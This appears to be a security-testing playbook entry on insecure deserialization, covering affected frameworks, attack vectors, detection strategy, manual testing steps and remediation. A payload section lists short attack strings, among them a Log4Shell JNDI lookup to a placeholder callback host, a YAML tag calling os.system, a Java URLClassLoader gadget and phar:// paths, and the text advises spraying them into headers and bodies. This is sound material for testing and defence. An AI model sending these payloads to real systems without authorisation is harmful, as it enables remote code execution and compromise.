Insecure Deserialization
Summary
Reports cluster around language-specific deserialization-to-RCE: PHP Phar streams (concrete5 CVE-2021-36766), Ruby Marshal (RubyGems Bundler response), Java SnakeYAML (Kubernetes Java client), .NET Telerik UI BinaryFormatter (CVE-2019-18935), Python pickle in Django cache (CVE-2021-33026), Java JNDI in Log4Shell (CVE-2021-44228), and Java JMX exposing unauthenticated deserialization (Basecamp jabber server). Also Kafka Connect via JNDI in JAAS config. Detection is largely CVE-marker-driven plus surface signals (presence of base64-encoded blobs in cookies/body that decode to language-specific magic bytes).
Top Affected Components / Targets
Java apps with JNDI / Log4j / SpringPHP CMS with file-existence checks on user paths (Phar)Ruby/Python apps with cache or queue backends using native serializationTelerik UIApache Kafka Connect / JMX-exposed servicesHadoop / Spark / Hive clusters
Common Attack Vectors
Submit Java serialized object (rO0AB...) in cookie / body / headerSubmit pickle (gAS...) in Python appsSubmit Marshal-encoded (\x04\x08...) in Ruby appsSubmit YAML with !!python/object or !!java.* tagsSubmit phar:// URL via file pathSubmit JNDI URL in Log4j-bound fieldsHit JMX RMI endpoints unauthenticated
Common Payloads
${jndi:ldap://<oast>/}rO0AB... (Java serialized)gAS (Python pickle magic)\x04\x08... (Ruby Marshal magic)!!python/object/apply:os.system ["id"]!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [...]]phar:///tmp/uploaded.pharTelerik DialogHandler payload
Detection Strategy
Ensure templates for Log4Shell, ProxyLogon, Telerik CVE-2017-11317/CVE-2019-18935, Confluence OGNL, Spring4Shell, JMX-RMI-no-auth.
Same as in Command Injection synthesis - spray ${jndi:ldap://oast/} into headers and bodies.
When Authorization cookies or body fields contain base64 strings whose decoded bytes match Java/Python/Ruby serialization magic bytes, emit advisory finding gated on whether the application accepts modified blobs without HMAC.
If PHP application accepts file paths and exposes file_exists-style behaviour, emit advisory pointing to phar:// risk.
In port-scan stage, flag exposed JMX (default ports 1099, 7199, 9999, 9997).
Tip: Testing tools that run these checks in parallel across every discovered endpoint can cut the time required substantially compared to fully manual testing, as long as they confirm findings with more than one signal to keep the false-positive rate down.
False-Positive Notes
- Active deserialization exploitation is risky and dependent on language-specific gadget chains.
- Stick to CVE markers + advisory signals.
How to Test
Manual Testing Methodology
Here is a systematic approach to identifying Insecure Deserialization vulnerabilities in a target application.
Before testing, map all input vectors that could be affected. Identify parameters, headers, cookies, and request bodies that interact with the vulnerable component. A proxy such as Burp Suite or OWASP ZAP, paired with normal browsing of the target, is usually enough to build this list.
Send a legitimate request and record the normal response: status code, content length, response time, and any identifying tokens. This baseline matters because it's what you'll compare later responses against once payloads are involved.
Inject test payloads into each identified input vector one at a time. Start with benign detection payloads before escalating to anything that could actually trigger the vulnerability. For Insecure Deserialization specifically, identify every point where serialized data (native Java/PHP/Python/.NET serialization formats, or a framework's custom binary format) crosses a trust boundary, then submit a known public gadget-chain payload for the identified library/version, starting with an out-of-band callback payload to confirm execution safely before attempting anything destructive.
Compare the response against your baseline, looking specifically for an out-of-band callback (DNS/HTTP) confirming code execution, or a deserialization-specific exception revealing the underlying library and version — a stack trace naming ObjectInputStream, readObject, or an equivalent is a strong signal even before a full gadget chain is confirmed.
Once a potential vulnerability is detected, confirm it with at least a few independent test cases to rule out coincidence. Document the exact request and response as proof. For Insecure Deserialization, a confirmed finding typically means showing that attacker-controlled input changes the application's behavior in a way that matters for security, not just that a payload was reflected somewhere harmless.
Real-World Impact
Real-World Impact
Insecure deserialization is one of the more severe vulnerability classes because it frequently leads directly to remote code execution. When an application deserializes attacker-controlled data without validating it first, a specially crafted payload can instantiate arbitrary objects, invoke dangerous methods, and ultimately run operating system commands.
In Java applications using ObjectInputStream, XStream, or Jackson with polymorphic typing enabled, deserialization gadget chains built from libraries like Commons-Collections or Spring provide reliable paths to code execution. Equivalent primitives exist in PHP's unserialize, Python's pickle, and .NET's BinaryFormatter.
The impact tends to be immediate and complete: full server compromise, lateral movement, data exfiltration, and persistent backdoors. This vulnerability class has been behind some of the largest breaches on record, including the Equifax breach, which traced back to an Apache Struts deserialization flaw.
Prevention & Remediation
Prevention and Secure Coding
Preventing Insecure Deserialization takes a defense-in-depth approach — no single control below is sufficient alone, but together they close off both the primary path and the most common bypasses.
Avoid deserializing untrusted data with a native/binary format entirely. Prefer data formats like JSON with a strict, predefined schema over native serialization formats (Java ObjectInputStream, Python pickle, PHP unserialize, .NET BinaryFormatter) for anything that touches untrusted input.
Type allowlisting where native deserialization is unavoidable. If a native format must be used, restrict deserialization to an explicit allowlist of expected classes/types rather than allowing arbitrary polymorphic types to be instantiated.
Keep gadget-chain-relevant libraries patched. Known gadget chains rely on specific versions of common libraries; patching those libraries removes the chain even if deserialization itself can't be eliminated immediately.
Integrity-check serialized data before deserializing. A signed or MAC-protected serialized payload lets the application detect tampering before deserialization ever begins.
Run the deserializing process with minimum privilege. Least-privilege execution and sandboxing limit the blast radius if a gadget chain does execute.
Source reports
A sample of the disclosed HackerOne reports this playbook was synthesized from.